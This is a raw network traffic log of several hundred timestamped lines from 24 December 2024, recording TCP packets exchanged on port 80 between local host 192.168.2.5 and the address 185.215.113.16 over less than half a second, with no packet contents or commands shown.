Dec 24, 2024 12:39:37.302768946 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.302783012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.302809000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.302839994 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.303603888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.303673983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.303693056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.303726912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.304491997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.304543972 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.304558992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.304569960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.304606915 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.305340052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.305414915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.305427074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.305474043 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.306215048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.306277990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.306289911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.306334972 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.307101011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.307193995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.307205915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.307243109 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.308052063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.308099985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.308135033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.308146000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.308182955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.308877945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309290886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309372902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309421062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.309756994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309871912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309881926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.309922934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.310647011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.310719967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.310731888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.310775042 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.311533928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.311582088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.311604023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.311615944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.311646938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.312412024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.312503099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.312513113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.312561035 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.313364029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.313399076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.313407898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.313410044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.313447952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.360200882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360263109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360274076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360321045 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.360608101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360658884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.360754013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360850096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360860109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.360898018 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.361604929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.361654997 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.361682892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.361695051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.361731052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.362044096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.362109900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.362121105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.362159014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.362905979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.362952948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.362953901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.362965107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.363847971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.363869905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.363879919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.363903999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.363934994 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.364675045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.364729881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.364787102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.364800930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.364839077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.365575075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.365623951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.365634918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.365684986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.366451025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.366514921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.366522074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.366528034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.366569996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.367305994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436171055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436242104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.436350107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436361074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436408997 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.436583042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436765909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436822891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.436842918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436853886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.436907053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.437665939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.437736034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.437746048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.437797070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.438518047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.438564062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.438566923 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.438575029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.438613892 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.439415932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487006903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487057924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487068892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487072945 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.487111092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.487596035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487607002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487617970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.487653017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.488260984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.488308907 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.488327026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.488337994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.488384962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.489168882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.489217043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.489228010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.489293098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.490050077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.490092993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.490103960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.490145922 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.490976095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491019964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491030931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491072893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.491904974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491914988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491925001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.491967916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.491988897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.492667913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.492727995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.492738962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.492779016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.493567944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.493617058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.493628025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.493638039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.493683100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.494448900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.494502068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.494513035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.494544983 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.495425940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.495445013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.495455980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.495492935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.495522022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.496345043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.496397018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.496407986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.496450901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.497087002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.497127056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.497138023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.497143030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.497178078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.498074055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.498096943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.498116016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.498162031 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.498917103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.498944998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.498961926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.499008894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.499736071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.499783039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.499788046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.499838114 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.500638008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.500682116 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.500724077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.500741005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.501481056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.501523972 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.501548052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.501566887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.501586914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.502423048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.502494097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.502509117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.502533913 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.502558947 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.503251076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.503305912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.503329039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.503350973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.504174948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.504189968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.504206896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.504232883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.504256964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.505050898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.505069971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.505091906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.505109072 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.505886078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.505944014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.552604914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.552670002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.552686930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.552731991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.552969933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.553036928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.553062916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.553078890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.553117990 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.553837061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.554039001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.554095030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.554122925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.554141998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.554186106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.554975033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.555085897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.555104017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.555172920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.555783987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.555840015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.555841923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.555859089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.556696892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.556723118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.556739092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.556745052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.556782007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.557586908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.557632923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.557647943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.557647943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.557686090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.558471918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.558516979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.558532953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.558573008 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.559340000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.559391022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.559396982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.613543034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.628613949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.628693104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.628707886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.628746986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.628901958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.628946066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.628951073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.628962994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.629693985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.629718065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.629760981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.629780054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.629821062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.630618095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.630644083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.630659103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.630661964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.630696058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.631537914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.631634951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.632220030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.679708004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.679754019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.679833889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.679841995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.679876089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.679907084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.679956913 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.680526018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.680587053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.680588007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.680603027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.680802107 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.681030035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681106091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681122065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681188107 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.681773901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681852102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.681901932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681916952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.681968927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.682696104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.682781935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.682801008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.682842970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.683516026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.683569908 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.683602095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.683619022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.683664083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.684422016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.684526920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.684544086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.684587955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.685280085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.685348034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.685363054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.685395002 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.685429096 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.686181068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.686249018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.686265945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.686317921 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.687081099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.687119961 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.687131882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.687151909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.687190056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.687922001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.687978029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.687999010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.688033104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.688786030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.688855886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.688872099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.688905001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.688947916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:37.689662933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:37.689735889 CET	80	49727	185.215.113.16	192.168.2.5
